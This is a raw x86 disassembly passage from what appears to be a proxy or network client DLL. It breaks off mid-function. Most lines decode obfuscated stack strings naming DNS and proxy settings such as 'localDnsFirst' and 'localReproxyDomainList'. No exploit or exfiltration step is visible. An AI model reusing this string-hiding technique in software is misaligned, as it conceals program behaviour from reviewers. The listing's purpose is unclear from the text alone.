lea ecx, [ebp - 0x76c]
mov byte [ebp - 0x75b], al
call fcn.10048a10
push 0x12
push 0x74
lea ecx, [ebp - 0x76c]
mov byte [ebp - 0x75a], al
call fcn.10048a10
mov byte [ebp - 0x759], al
mov byte [ebp - 0x758], 0
mov byte [ebp - 4], 0x56
xor esi, esi
push esi
lea ecx, [ebp - 0x76b]
call fcn.1000d870
push esi
lea ecx, [ebp - 0x76c]
movzx eax, byte [eax]
push eax
call fcn.10048a10
push esi
lea ecx, [ebp - 0x757]
mov byte [ebp - 0x1049], al
call fcn.1000d870
mov cl, byte [ebp - 0x1049]
inc esi
mov byte [eax], cl
cmp esi, 0x13
jae 0x100488d1
jmp 0x100400f4
mov esi, dword [ebp - 0x105c]
lea ecx, [esi + 0x110]
call fcn.1005d560
test al, al
je 0x1004015b
push 0x3e8
lea ecx, [esi + 0x110]
call fcn.1005d570
mov esi, dword [ebp - 0x1060]
lea ecx, [ebp - 0xc70]
push esi
call fcn.1000ae30
mov ecx, dword [ebp - 0x105c]
lea eax, [ebp - 0xc70]
push eax
mov byte [ebp - 4], 0x58
call fcn.100381c0
lea ecx, [ebp - 0xc70]
mov byte [ebp - 4], 0x53
call fcn.10003210
push esi
lea ecx, [ebp - 0xb38]
call fcn.1000ae30
mov ecx, dword [ebp - 0x105c]
lea eax, [ebp - 0xb38]
push eax
lea eax, [ebp - 0xd48]
mov byte [ebp - 4], 0x59
push eax
call fcn.1003eac0
mov ecx, dword [ebp - 0x105c]
push eax
mov byte [ebp - 4], 0x5a
call fcn.10038190
lea ecx, [ebp - 0xd48]
call fcn.10003210
lea ecx, [ebp - 0xb38]
mov byte [ebp - 4], 0x53
call fcn.10003210
call fcn.10030420
mov esi, eax
mov dword [ebp - 0x1060], esi
call fcn.10025390
mov ecx, esi
mov dword [ebp - 0x1054], eax
call fcn.100304b0
mov ecx, esi
call fcn.10030970
mov ecx, esi
call fcn.10030b80
mov ecx, dword [ebp - 0x1054]
call fcn.100261f0
call fcn.1002fe30
mov ecx, eax
call fcn.1002fe40
mov ecx, dword [ebp - 0x105c]
lea ecx, [ecx + 0x110]
call fcn.1005d560
test al, al
je 0x10040254
mov ecx, dword [ebp - 0x105c]
push 0x3e9
lea ecx, [ecx + 0x110]
call fcn.1005d570
push 0
push 0x63
lea ecx, [ebp - 0x2e8]
mov byte [ebp - 0x2e8], 0x54
call fcn.10048a10
push 1
push 0x68
lea ecx, [ebp - 0x2e8]
mov byte [ebp - 0x2e7], al
call fcn.10048a10
push 2
push 0x65
lea ecx, [ebp - 0x2e8]
mov byte [ebp - 0x2e6], al
call fcn.10048a10
push 3
push 0x63
lea ecx, [ebp - 0x2e8]
mov byte [ebp - 0x2e5], al
call fcn.10048a10
push 4
push 0x6b
lea ecx, [ebp - 0x2e8]
mov byte [ebp - 0x2e4], al
call fcn.10048a10
push 5
push 0x53
lea ecx, [ebp - 0x2e8]
mov byte [ebp - 0x2e3], al
call fcn.10048a10
push 6
push 0x69
lea ecx, [ebp - 0x2e8]
mov byte [ebp - 0x2e2], al
call fcn.10048a10
push 7
push 0x67
lea ecx, [ebp - 0x2e8]
mov byte [ebp - 0x2e1], al
call fcn.10048a10
push 8
push 0x6e
lea ecx, [ebp - 0x2e8]
mov byte [ebp - 0x2e0], al
call fcn.10048a10
mov byte [ebp - 0x2df], al
mov byte [ebp - 0x2de], 0
mov byte [ebp - 4], 0x5b
xor edi, edi
nop word [eax + eax]
push edi
lea ecx, [ebp - 0x2e7]
call fcn.1000d870
push edi
lea ecx, [ebp - 0x2e8]
movzx eax, byte [eax]
push eax
call fcn.10048a10
push edi
lea ecx, [ebp - 0x2dd]
mov byte [ebp - 0x1049], al
call fcn.1000d870
mov cl, byte [ebp - 0x1049]
inc edi
mov byte [eax], cl
cmp edi, 9
jb 0x10040330
push 9
lea ecx, [ebp - 0x2dd]
call fcn.1000d870
lea ecx, [ebp - 0x2dd]
mov byte [eax], 0
call fcn.1000d860
mov dword [ebp - 0x1110], eax
lea ecx, [ebp - 0x1078]
lea eax, [ebp - 0x1110]
push eax
call fcn.1004b080
mov ecx, eax
call fcn.1004b270
movzx eax, al
mov ecx, esi
push eax
call fcn.1005b380
lea ecx, [ebp - 0x2e7]
mov byte [ebp - 4], 0x53
call fcn.1000d860
xorps xmm0, xmm0
lea ecx, [ebp - 0x4f8]
push 0
push 0x6c
movq qword [eax], xmm0
mov word [eax + 8], 0
mov byte [ebp - 0x4f8], 0x13
call fcn.10048a10
push 1
push 0x6f
lea ecx, [ebp - 0x4f8]
mov byte [ebp - 0x4f7], al
call fcn.10048a10
push 2
push 0x63
lea ecx, [ebp - 0x4f8]
mov byte [ebp - 0x4f6], al
call fcn.10048a10
push 3
push 0x61
lea ecx, [ebp - 0x4f8]
mov byte [ebp - 0x4f5], al
call fcn.10048a10
push 4
push 0x6c
lea ecx, [ebp - 0x4f8]
mov byte [ebp - 0x4f4], al
call fcn.10048a10
push 5
push 0x44
lea ecx, [ebp - 0x4f8]
mov byte [ebp - 0x4f3], al
call fcn.10048a10
push 6
push 0x6e
lea ecx, [ebp - 0x4f8]
mov byte [ebp - 0x4f2], al
call fcn.10048a10
push 7
push 0x73
lea ecx, [ebp - 0x4f8]
mov byte [ebp - 0x4f1], al
call fcn.10048a10
push 8
push 0x46
lea ecx, [ebp - 0x4f8]
mov byte [ebp - 0x4f0], al
call fcn.10048a10
push 9
push 0x69
lea ecx, [ebp - 0x4f8]
mov byte [ebp - 0x4ef], al
call fcn.10048a10
push 0xa
push 0x72
lea ecx, [ebp - 0x4f8]
mov byte [ebp - 0x4ee], al
call fcn.10048a10
push 0xb
mov byte [ebp - 0x4ed], al
push 0x73
lea ecx, [ebp - 0x4f8]
call fcn.10048a10
push 0xc
push 0x74
lea ecx, [ebp - 0x4f8]
mov byte [ebp - 0x4ec], al
call fcn.10048a10
mov byte [ebp - 0x4eb], al
mov byte [ebp - 0x4ea], 0
mov byte [ebp - 4], 0x5c
xor esi, esi
push esi
lea ecx, [ebp - 0x4f7]
call fcn.1000d870
push esi
lea ecx, [ebp - 0x4f8]
movzx eax, byte [eax]
push eax
call fcn.10048a10
push esi
lea ecx, [ebp - 0x4e9]
mov byte [ebp - 0x1049], al
call fcn.1000d870
mov cl, byte [ebp - 0x1049]
inc esi
mov byte [eax], cl
cmp esi, 0xd
jb 0x100404f2
push 0xd
lea ecx, [ebp - 0x4e9]
call fcn.1000d870
lea ecx, [ebp - 0x4e9]
mov byte [eax], 0
call fcn.1000d860
mov dword [ebp - 0x1114], eax
lea ecx, [ebp - 0x1078]
lea eax, [ebp - 0x1114]
push eax
call fcn.1004b080
mov ecx, eax
call fcn.1004b270
mov esi, dword [ebp - 0x1060]
mov ecx, esi
movzx eax, al
push eax
call fcn.1005b370
lea ecx, [ebp - 0x4f7]
mov byte [ebp - 4], 0x53
call fcn.1000d860
xorps xmm0, xmm0
lea ecx, [ebp - 0x798]
push 0
push 0x74
movq qword [eax], xmm0
mov dword [eax + 8], 0
mov word [eax + 0xc], 0
mov byte [ebp - 0x798], 0x61
call fcn.10048a10
push 1
push 0x63
lea ecx, [ebp - 0x798]
mov byte [ebp - 0x797], al
call fcn.10048a10
push 2
push 0x70
lea ecx, [ebp - 0x798]
mov byte [ebp - 0x796], al
call fcn.10048a10
push 3
push 0x4e
lea ecx, [ebp - 0x798]
mov byte [ebp - 0x795], al
call fcn.10048a10
push 4
push 0x6f
lea ecx, [ebp - 0x798]
mov byte [ebp - 0x794], al
call fcn.10048a10
push 5
push 0x44
lea ecx, [ebp - 0x798]
mov byte [ebp - 0x793], al
call fcn.10048a10
push 6
push 0x6f
lea ecx, [ebp - 0x798]
mov byte [ebp - 0x792], al
call fcn.10048a10
push 7
push 0x6d
lea ecx, [ebp - 0x798]
mov byte [ebp - 0x791], al
call fcn.10048a10
push 8
push 0x61
lea ecx, [ebp - 0x798]
mov byte [ebp - 0x790], al
call fcn.10048a10
push 9
push 0x69
lea ecx, [ebp - 0x798]
mov byte [ebp - 0x78f], al
call fcn.10048a10
push 0xa
push 0x6e
lea ecx, [ebp - 0x798]
mov byte [ebp - 0x78e], al
call fcn.10048a10
mov byte [ebp - 0x78d], al
push 0xb
push 0x49
lea ecx, [ebp - 0x798]
call fcn.10048a10
push 0xc
push 0x70
lea ecx, [ebp - 0x798]
mov byte [ebp - 0x78c], al
call fcn.10048a10
push 0xd
push 0x55
lea ecx, [ebp - 0x798]
mov byte [ebp - 0x78b], al
call fcn.10048a10
push 0xe
push 0x6e
lea ecx, [ebp - 0x798]
mov byte [ebp - 0x78a], al
call fcn.10048a10
push 0xf
push 0x70
lea ecx, [ebp - 0x798]
mov byte [ebp - 0x789], al
call fcn.10048a10
push 0x10
push 0x72
lea ecx, [ebp - 0x798]
mov byte [ebp - 0x788], al
call fcn.10048a10
push 0x11
push 0x6f
lea ecx, [ebp - 0x798]
mov byte [ebp - 0x787], al
call fcn.10048a10
push 0x12
push 0x78
lea ecx, [ebp - 0x798]
mov byte [ebp - 0x786], al
call fcn.10048a10
push 0x13
push 0x79
lea ecx, [ebp - 0x798]
mov byte [ebp - 0x785], al
call fcn.10048a10
mov byte [ebp - 0x784], al
mov byte [ebp - 0x783], 0
mov byte [ebp - 4], 0x5d
xor edi, edi
push edi
lea ecx, [ebp - 0x797]
call fcn.1000d870
push edi
lea ecx, [ebp - 0x798]
movzx eax, byte [eax]
push eax
call fcn.10048a10
push edi
lea ecx, [ebp - 0x782]
mov byte [ebp - 0x1049], al
call fcn.1000d870
mov cl, byte [ebp - 0x1049]
inc edi
mov byte [eax], cl
cmp edi, 0x14
jb 0x10040754
push 0x14
lea ecx, [ebp - 0x782]
call fcn.1000d870
lea ecx, [ebp - 0x782]
mov byte [eax], 0
call fcn.1000d860
mov dword [ebp - 0x1118], eax
lea ecx, [ebp - 0x1078]
lea eax, [ebp - 0x1118]
push eax
call fcn.1004b080
mov ecx, eax
call fcn.1004b270
movzx eax, al
mov ecx, esi
push eax
call fcn.1005b360
lea ecx, [ebp - 0x797]
mov byte [ebp - 4], 0x53
call fcn.1000d860
xorps xmm0, xmm0
lea ecx, [ebp - 0x740]
push 0
push 0x63
movups xmmword [eax], xmm0
mov dword [eax + 0x10], 0
mov byte [eax + 0x14], 0
mov byte [ebp - 0x740], 0x72
call fcn.10048a10
push 1
push 0x68
lea ecx, [ebp - 0x740]
mov byte [ebp - 0x73f], al
call fcn.10048a10
push 2
push 0x65
lea ecx, [ebp - 0x740]
mov byte [ebp - 0x73e], al
call fcn.10048a10
push 3
push 0x63
lea ecx, [ebp - 0x740]
mov byte [ebp - 0x73d], al
call fcn.10048a10
push 4
push 0x6b
lea ecx, [ebp - 0x740]
mov byte [ebp - 0x73c], al
call fcn.10048a10
push 5
push 0x57
lea ecx, [ebp - 0x740]
mov byte [ebp - 0x73b], al
call fcn.10048a10
push 6
push 0x68
lea ecx, [ebp - 0x740]
mov byte [ebp - 0x73a], al
call fcn.10048a10
push 7
push 0x69
lea ecx, [ebp - 0x740]
mov byte [ebp - 0x739], al
call fcn.10048a10
push 8
push 0x74
lea ecx, [ebp - 0x740]
mov byte [ebp - 0x738], al
call fcn.10048a10
push 9
push 0x65
lea ecx, [ebp - 0x740]
mov byte [ebp - 0x737], al
call fcn.10048a10
push 0xa
push 0x4c
lea ecx, [ebp - 0x740]
mov byte [ebp - 0x736], al
call fcn.10048a10
mov byte [ebp - 0x735], al
push 0xb
push 0x69
lea ecx, [ebp - 0x740]
call fcn.10048a10
push 0xc
push 0x73
lea ecx, [ebp - 0x740]
mov byte [ebp - 0x734], al
call fcn.10048a10
push 0xd
push 0x74
lea ecx, [ebp - 0x740]
mov byte [ebp - 0x733], al
call fcn.10048a10
push 0xe
push 0x44
lea ecx, [ebp - 0x740]
mov byte [ebp - 0x732], al
call fcn.10048a10
push 0xf
push 0x6e
lea ecx, [ebp - 0x740]
mov byte [ebp - 0x731], al
call fcn.10048a10
push 0x10
push 0x73
lea ecx, [ebp - 0x740]
mov byte [ebp - 0x730], al
call fcn.10048a10
mov byte [ebp - 0x72f], al
mov byte [ebp - 0x72e], 0
mov byte [ebp - 4], 0x5e
xor esi, esi
nop
push esi
lea ecx, [ebp - 0x73f]
call fcn.1000d870
push esi
lea ecx, [ebp - 0x740]
movzx eax, byte [eax]
push eax
call fcn.10048a10
push esi
lea ecx, [ebp - 0x72d]
mov byte [ebp - 0x1049], al
call fcn.1000d870
mov cl, byte [ebp - 0x1049]
inc esi
mov byte [eax], cl
cmp esi, 0x11
jb 0x10040970
push 0x11
lea ecx, [ebp - 0x72d]
call fcn.1000d870
lea ecx, [ebp - 0x72d]
mov byte [eax], 0
call fcn.1000d860
mov dword [ebp - 0x111c], eax
lea ecx, [ebp - 0x1078]
lea eax, [ebp - 0x111c]
push eax
call fcn.1004b080
mov ecx, eax
call fcn.1004b270
mov esi, dword [ebp - 0x1060]
mov ecx, esi
movzx eax, al
push eax
call fcn.1005b350
lea ecx, [ebp - 0x73f]
mov byte [ebp - 4], 0x53
call fcn.1000d860
xorps xmm0, xmm0
lea ecx, [ebp - 0x3d0]
push 0
push 0x67
movups xmmword [eax], xmm0
mov word [eax + 0x10], 0
mov byte [ebp - 0x3d0], 0x1b
call fcn.10048a10
push 1
push 0x65
lea ecx, [ebp - 0x3d0]
mov byte [ebp - 0x3cf], al
call fcn.10048a10
push 2
push 0x74
lea ecx, [ebp - 0x3d0]
mov byte [ebp - 0x3ce], al
call fcn.10048a10
push 3
push 0x43
lea ecx, [ebp - 0x3d0]
mov byte [ebp - 0x3cd], al
call fcn.10048a10
push 4
push 0x61
lea ecx, [ebp - 0x3d0]
mov byte [ebp - 0x3cc], al
call fcn.10048a10
push 5
push 0x63
lea ecx, [ebp - 0x3d0]
mov byte [ebp - 0x3cb], al
call fcn.10048a10
push 6
push 0x68
lea ecx, [ebp - 0x3d0]
mov byte [ebp - 0x3ca], al
call fcn.10048a10
push 7
push 0x65
lea ecx, [ebp - 0x3d0]
mov byte [ebp - 0x3c9], al
call fcn.10048a10
push 8
push 0x44
lea ecx, [ebp - 0x3d0]
mov byte [ebp - 0x3c8], al
call fcn.10048a10
push 9
push 0x6e
lea ecx, [ebp - 0x3d0]
mov byte [ebp - 0x3c7], al
call fcn.10048a10
push 0xa
push 0x73
lea ecx, [ebp - 0x3d0]
mov byte [ebp - 0x3c6], al
call fcn.10048a10
mov byte [ebp - 0x3c5], al
mov byte [ebp - 0x3c4], 0
mov byte [ebp - 4], 0x5f
xor edi, edi
nop dword [eax]
push edi
lea ecx, [ebp - 0x3cf]
call fcn.1000d870
push edi
lea ecx, [ebp - 0x3d0]
movzx eax, byte [eax]
push eax
call fcn.10048a10
push edi
lea ecx, [ebp - 0x3c3]
mov byte [ebp - 0x1049], al
call fcn.1000d870
mov cl, byte [ebp - 0x1049]
inc edi
mov byte [eax], cl
cmp edi, 0xb
jb 0x10040b10
push 0xb
lea ecx, [ebp - 0x3c3]
call fcn.1000d870
lea ecx, [ebp - 0x3c3]
mov byte [eax], 0
call fcn.1000d860
mov dword [ebp - 0x1120], eax
lea ecx, [ebp - 0x1078]
lea eax, [ebp - 0x1120]
push eax
call fcn.1004b080
mov ecx, eax
call fcn.1004b270
movzx eax, al
mov ecx, esi
push eax
call fcn.1005b340
lea ecx, [ebp - 0x3cf]
mov byte [ebp - 4], 0x53
call fcn.1000d860
xorps xmm0, xmm0
lea ecx, [ebp - 0x828]
push 0
push 0x6c
movq qword [eax], xmm0
mov dword [eax + 8], 0
mov byte [ebp - 0x828], 0x12
call fcn.10048a10
push 1
push 0x6f
lea ecx, [ebp - 0x828]
mov byte [ebp - 0x827], al
call fcn.10048a10
push 2
push 0x63
lea ecx, [ebp - 0x828]
mov byte [ebp - 0x826], al
call fcn.10048a10
push 3
push 0x61
lea ecx, [ebp - 0x828]
mov byte [ebp - 0x825], al
call fcn.10048a10
push 4
push 0x6c
lea ecx, [ebp - 0x828]
mov byte [ebp - 0x824], al
call fcn.10048a10
push 5
push 0x52
lea ecx, [ebp - 0x828]
mov byte [ebp - 0x823], al
call fcn.10048a10
push 6
push 0x65
lea ecx, [ebp - 0x828]
mov byte [ebp - 0x822], al
call fcn.10048a10
push 7
push 0x70
lea ecx, [ebp - 0x828]
mov byte [ebp - 0x821], al
call fcn.10048a10
push 8
push 0x72
lea ecx, [ebp - 0x828]
mov byte [ebp - 0x820], al
call fcn.10048a10
push 9
push 0x6f
lea ecx, [ebp - 0x828]
mov byte [ebp - 0x81f], al
call fcn.10048a10
push 0xa
push 0x78
lea ecx, [ebp - 0x828]
mov byte [ebp - 0x81e], al
call fcn.10048a10
push 0xb
mov byte [ebp - 0x81d], al
push 0x79
lea ecx, [ebp - 0x828]
call fcn.10048a10
push 0xc
push 0x44
lea ecx, [ebp - 0x828]
mov byte [ebp - 0x81c], al
call fcn.10048a10
push 0xd
push 0x6f
lea ecx, [ebp - 0x828]
mov byte [ebp - 0x81b], al
call fcn.10048a10
push 0xe
push 0x6d
lea ecx, [ebp - 0x828]
mov byte [ebp - 0x81a], al
call fcn.10048a10
push 0xf
push 0x61
lea ecx, [ebp - 0x828]
mov byte [ebp - 0x819], al
call fcn.10048a10
push 0x10
push 0x69
lea ecx, [ebp - 0x828]
mov byte [ebp - 0x818], al
call fcn.10048a10
push 0x11
push 0x6e
lea ecx, [ebp - 0x828]
mov byte [ebp - 0x817], al
call fcn.10048a10
push 0x12
push 0x4c
lea ecx, [ebp - 0x828]
mov byte [ebp - 0x816], al
call fcn.10048a10
push 0x13
push 0x69
lea ecx, [ebp - 0x828]
mov byte [ebp - 0x815], al
call fcn.10048a10
push 0x14
push 0x73
lea ecx, [ebp - 0x828]
mov byte [ebp - 0x814], al
call fcn.10048a10
push 0x15
push 0x74
lea ecx, [ebp - 0x828]
mov byte [ebp - 0x813], al
call fcn.10048a10
mov byte [ebp - 0x812], al
mov byte [ebp - 0x811], 0
mov byte [ebp - 4], 0x60
xor esi, esi
mov edi, dword [ebp - 0x1050]
nop word [eax + eax]
push esi
lea ecx, [ebp - 0x827]
call fcn.1000d870
push esi
lea ecx, [ebp - 0x828]
movzx eax, byte [eax]
push eax
call fcn.10048a10
push esi
lea ecx, [ebp - 0x810]
mov byte [ebp - 0x1049], al
call fcn.1000d870
mov cl, byte [ebp - 0x1049]
inc esi
mov byte [eax], cl
cmp esi, 0x16
jb 0x10040da0
push 0x16
lea ecx, [ebp - 0x810]
call fcn.1000d870
lea ecx, [ebp - 0x810]
mov byte [eax], 0
call fcn.1000d860
mov dword [ebp - 0x1124], eax
lea ecx, [ebp - 0x1078]
lea eax, [ebp - 0x1124]
push eax
call fcn.1004b080
mov ecx, eax
call fcn.10048fe0
lea ecx, [ebp - 0x827]
mov byte [ebp - 0x1049], al
mov byte [ebp - 4], 0x53
call fcn.1000d860
cmp byte [ebp - 0x1049], 0
xorps xmm0, xmm0
mov esi, dword [ebp - 0x1060]
mov ecx, esi
movups xmmword [eax], xmm0
mov dword [eax + 0x10], 0
mov word [eax + 0x14], 0
mov byte [eax + 0x16], 0
je 0x10040e75
push 0
call fcn.1005b420
sub esp, 0x18
mov ecx, esp
push 0x100ec484
call fcn.1000ae30
mov ecx, esi
call fcn.1005b260
jmp 0x100415c7
push 1
call fcn.1005b420
push 0
push 0x6c
lea ecx, [ebp - 0x858]
mov byte [ebp - 0x858], 0x44
call fcn.10048a10
push 1
push 0x6f
lea ecx, [ebp - 0x858]
mov byte [ebp - 0x857], al
call fcn.10048a10
push 2
push 0x63
lea ecx, [ebp - 0x858]
mov byte [ebp - 0x856], al
call fcn.10048a10
push 3
push 0x61
lea ecx, [ebp - 0x858]
mov byte [ebp - 0x855], al
call fcn.10048a10
push 4
push 0x6c
lea ecx, [ebp - 0x858]
mov byte [ebp - 0x854], al
call fcn.10048a10
push 5
push 0x52
lea ecx, [ebp - 0x858]
mov byte [ebp - 0x853], al
call fcn.10048a10
push 6
push 0x65
lea ecx, [ebp - 0x858]
mov byte [ebp - 0x852], al
call fcn.10048a10
push 7
push 0x70
lea ecx, [ebp - 0x858]
mov byte [ebp - 0x851], al
call fcn.10048a10
push 8
push 0x72
lea ecx, [ebp - 0x858]
mov byte [ebp - 0x850], al
call fcn.10048a10
push 9
push 0x6f
lea ecx, [ebp - 0x858]
mov byte [ebp - 0x84f], al
call fcn.10048a10
push 0xa
push 0x78
lea ecx, [ebp - 0x858]
mov byte [ebp - 0x84e], al
call fcn.10048a10
push 0xb
push 0x79
lea ecx, [ebp - 0x858]
mov byte [ebp - 0x84d], al
call fcn.10048a10
push 0xc
push 0x44
lea ecx, [ebp - 0x858]
mov byte [ebp - 0x84c], al
call fcn.10048a10
push 0xd
push 0x6f
lea ecx, [ebp - 0x858]
mov byte [ebp - 0x84b], al
call fcn.10048a10
push 0xe
push 0x6d
lea ecx, [ebp - 0x858]
mov byte [ebp - 0x84a], al
call fcn.10048a10
push 0xf
mov byte [ebp - 0x849], al
lea ecx, [ebp - 0x858]
push 0x61
call fcn.10048a10
push 0x10
push 0x69
lea ecx, [ebp - 0x858]
mov byte [ebp - 0x848], al
call fcn.10048a10
push 0x11
push 0x6e
lea ecx, [ebp - 0x858]
mov byte [ebp - 0x847], al
call fcn.10048a10
push 0x12
push 0x4c
lea ecx, [ebp - 0x858]
mov byte [ebp - 0x846], al
call fcn.10048a10
push 0x13
push 0x69
lea ecx, [ebp - 0x858]
mov byte [ebp - 0x845], al
call fcn.10048a10
push 0x14
push 0x73
lea ecx, [ebp - 0x858]
mov byte [ebp - 0x844], al
call fcn.10048a10
push 0x15
push 0x74
lea ecx, [ebp - 0x858]
mov byte [ebp - 0x843], al
call fcn.10048a10
mov byte [ebp - 0x842], al
mov byte [ebp - 0x841], 0
mov byte [ebp - 4], 0x61
xor edi, edi
nop
push edi
lea ecx, [ebp - 0x857]
call fcn.1000d870
push edi
lea ecx, [ebp - 0x858]
movzx eax, byte [eax]
push eax
call fcn.10048a10
push edi
lea ecx, [ebp - 0x840]
mov byte [ebp - 0x1049], al
call fcn.1000d870
mov cl, byte [ebp - 0x1049]
inc edi
mov byte [eax], cl
cmp edi, 0x16
jb 0x10041060
push 0x16
lea ecx, [ebp - 0x840]
call fcn.1000d870
lea ecx, [ebp - 0x840]
mov byte [eax], 0
call fcn.1000d860
mov dword [ebp - 0x1128], eax
lea ecx, [ebp - 0x1078]
lea eax, [ebp - 0x1128]
push eax
call fcn.1004b080
sub esp, 0x18
mov ecx, esp
push 0
push 0
push 0x20
push 0xffffffffffffffff
push ecx
mov ecx, eax
call fcn.10048ff0
mov ecx, esi
call fcn.1005b260
lea ecx, [ebp - 0x857]
mov byte [ebp - 4], 0x53
call fcn.1000d860
xorps xmm0, xmm0
lea ecx, [ebp - 0x7f8]
push 0
push 0x6c
movups xmmword [eax], xmm0
mov dword [eax + 0x10], 0
mov word [eax + 0x14], 0
mov byte [eax + 0x16], 0
mov byte [ebp - 0x7f8], 2
call fcn.10048a10
push 1
push 0x6f
lea ecx, [ebp - 0x7f8]
mov byte [ebp - 0x7f7], al
call fcn.10048a10
push 2
push 0x63
lea ecx, [ebp - 0x7f8]
mov byte [ebp - 0x7f6], al
call fcn.10048a10
push 3
push 0x61
lea ecx, [ebp - 0x7f8]
mov byte [ebp - 0x7f5], al
call fcn.10048a10
push 4
push 0x6c
lea ecx, [ebp - 0x7f8]
mov byte [ebp - 0x7f4], al
call fcn.10048a10
push 5
push 0x52
lea ecx, [ebp - 0x7f8]
mov byte [ebp - 0x7f3], al
call fcn.10048a10
push 6
push 0x65
lea ecx, [ebp - 0x7f8]
mov byte [ebp - 0x7f2], al
call fcn.10048a10
push 7
push 0x70
lea ecx, [ebp - 0x7f8]
mov byte [ebp - 0x7f1], al
call fcn.10048a10
push 8
push 0x72
lea ecx, [ebp - 0x7f8]
mov byte [ebp - 0x7f0], al
call fcn.10048a10
push 9
push 0x6f
lea ecx, [ebp - 0x7f8]
mov byte [ebp - 0x7ef], al
call fcn.10048a10
mov byte [ebp - 0x7ee], al
push 0xa
push 0x78
lea ecx, [ebp - 0x7f8]
call fcn.10048a10
push 0xb
push 0x79
lea ecx, [ebp - 0x7f8]
mov byte [ebp - 0x7ed], al
call fcn.10048a10
push 0xc
push 0x44
lea ecx, [ebp - 0x7f8]
mov byte [ebp - 0x7ec], al
call fcn.10048a10
push 0xd
push 0x6f
lea ecx, [ebp - 0x7f8]
mov byte [ebp - 0x7eb], al
call fcn.10048a10
push 0xe
push 0x6d
lea ecx, [ebp - 0x7f8]
mov byte [ebp - 0x7ea], al
call fcn.10048a10
push 0xf
push 0x61
lea ecx, [ebp - 0x7f8]
mov byte [ebp - 0x7e9], al
call fcn.10048a10
push 0x10
push 0x69
lea ecx, [ebp - 0x7f8]
mov byte [ebp - 0x7e8], al
call fcn.10048a10
push 0x11
push 0x6e
lea ecx, [ebp - 0x7f8]
mov byte [ebp - 0x7e7], al
call fcn.10048a10
push 0x12
push 0x4c
lea ecx, [ebp - 0x7f8]
mov byte [ebp - 0x7e6], al
call fcn.10048a10
push 0x13
push 0x69
lea ecx, [ebp - 0x7f8]
mov byte [ebp - 0x7e5], al
call fcn.10048a10
push 0x14
push 0x73
lea ecx, [ebp - 0x7f8]
mov byte [ebp - 0x7e4], al
call fcn.10048a10
push 0x15
push 0x74
lea ecx, [ebp - 0x7f8]
mov byte [ebp - 0x7e3], al
call fcn.10048a10
mov byte [ebp - 0x7e2], al
mov byte [ebp - 0x7e1], 0
mov byte [ebp - 4], 0x62
xor esi, esi
mov edi, dword [ebp - 0x1050]
nop dword [eax]
push esi
lea ecx, [ebp - 0x7f7]
call fcn.1000d870
push esi
lea ecx, [ebp - 0x7f8]
movzx eax, byte [eax]
push eax
call fcn.10048a10
push esi
lea ecx, [ebp - 0x7e0]
mov byte [ebp - 0x1049], al
call fcn.1000d870
mov cl, byte [ebp - 0x1049]
inc esi
mov byte [eax], cl
cmp esi, 0x16
jb 0x10041300
push 0x16
lea ecx, [ebp - 0x7e0]
call fcn.1000d870
lea ecx, [ebp - 0x7e0]
mov byte [eax], 0
call fcn.1000d860
mov dword [ebp - 0x112c], eax
lea ecx, [ebp - 0x1078]
lea eax, [ebp - 0x112c]
push eax
call fcn.1004b080
lea ecx, [ebp - 0x7f7]
mov byte [ebp - 4], 0x53
mov esi, eax
call fcn.1000d860
xorps xmm0, xmm0
mov ecx, esi
movups xmmword [eax], xmm0
mov dword [eax + 0x10], 0
mov word [eax + 0x14], 0
mov byte [eax + 0x16], 0
lea eax, [ebp - 0x12b4]
push eax
call fcn.1005b1a0
lea eax, [ebp - 0x1334]
mov ecx, esi
push eax
call fcn.1005b030
lea eax, [ebp - 0x1334]
push eax
lea ecx, [ebp - 0x12b4]
call fcn.1005b430
test al, al
je 0x100415c7
mov edi, dword [ebp - 0x1054]
lea ecx, [ebp - 0x12b4]
call fcn.1005aab0
push 0
push 0x64
lea ecx, [ebp - 0x17c]
mov dword [ebp - 0x1058], eax
mov byte [ebp - 0x17c], 0x34
call fcn.10048a10
push 1
push 0x6f
lea ecx, [ebp - 0x17c]
mov byte [ebp - 0x17b], al
call fcn.10048a10
push 2
push 0x6d
lea ecx, [ebp - 0x17c]
mov byte [ebp - 0x17a], al
call fcn.10048a10
push 3
push 0x61
lea ecx, [ebp - 0x17c]
mov byte [ebp - 0x179], al
call fcn.10048a10
push 4
push 0x69
lea ecx, [ebp - 0x17c]
mov byte [ebp - 0x178], al
call fcn.10048a10
push 5
push 0x6e
lea ecx, [ebp - 0x17c]
mov byte [ebp - 0x177], al
call fcn.10048a10
mov byte [ebp - 0x176], al
mov byte [ebp - 0x175], 0
mov byte [ebp - 4], 0x63
xor esi, esi
nop word [eax + eax]
push esi
lea ecx, [ebp - 0x17b]
call fcn.1000d870
push esi
lea ecx, [ebp - 0x17c]
movzx eax, byte [eax]
push eax
call fcn.10048a10
push esi
lea ecx, [ebp - 0x174]
mov byte [ebp - 0x1049], al
call fcn.1000d870
mov cl, byte [ebp - 0x1049]
inc esi
mov byte [eax], cl
cmp esi, 6
jb 0x10041480
push 6
lea ecx, [ebp - 0x174]
call fcn.1000d870
lea ecx, [ebp - 0x174]
mov byte [eax], 0
call fcn.1000d860
mov ecx, dword [ebp - 0x1058]
mov dword [ebp - 0x113c], eax
lea eax, [ebp - 0x113c]
push eax
call fcn.1004af90
lea ecx, [ebp - 0x17b]
mov byte [ebp - 4], 0x53
mov esi, eax
call fcn.1000d860
xor ecx, ecx
mov dword [eax], ecx
mov word [eax + 4], cx
mov byte [eax + 6], cl
lea eax, [ebp - 0x12a4]
push eax
mov ecx, esi
call fcn.1005b1a0
lea eax, [ebp - 0x1324]
mov ecx, esi
push eax
call fcn.1005b030
lea eax, [ebp - 0x1324]
push eax
lea ecx, [ebp - 0x12a4]
call fcn.1005aea0
test al, al
je 0x1004159c
nop dword [eax]
lea ecx, [ebp - 0x12a4]
call fcn.1005aab0
lea ecx, [ebp - 0xd60]
push ecx
mov ecx, eax
call fcn.1005b770
mov ecx, eax
mov byte [ebp - 4], 0x64
call fcn.10008f50
push eax
mov ecx, edi
call fcn.10025cc0
lea ecx, [ebp - 0xd60]
mov byte [ebp - 4], 0x53
call fcn.10003210
lea ecx, [ebp - 0x12a4]
call fcn.1005af70
lea eax, [ebp - 0x1324]
push eax
lea ecx, [ebp - 0x12a4]
call fcn.1005aea0
test al, al
jne 0x10041540
lea ecx, [ebp - 0x12b4]
call fcn.1005af70
lea eax, [ebp - 0x1334]
push eax
lea ecx, [ebp - 0x12b4]
call fcn.1005b430
test al, al
jne 0x100413d3
mov edi, dword [ebp - 0x1050]
push 0
push 0x64
lea ecx, [ebp - 0x6f0]
mov byte [ebp - 0x6f0], 0x45
call fcn.10048a10
push 1
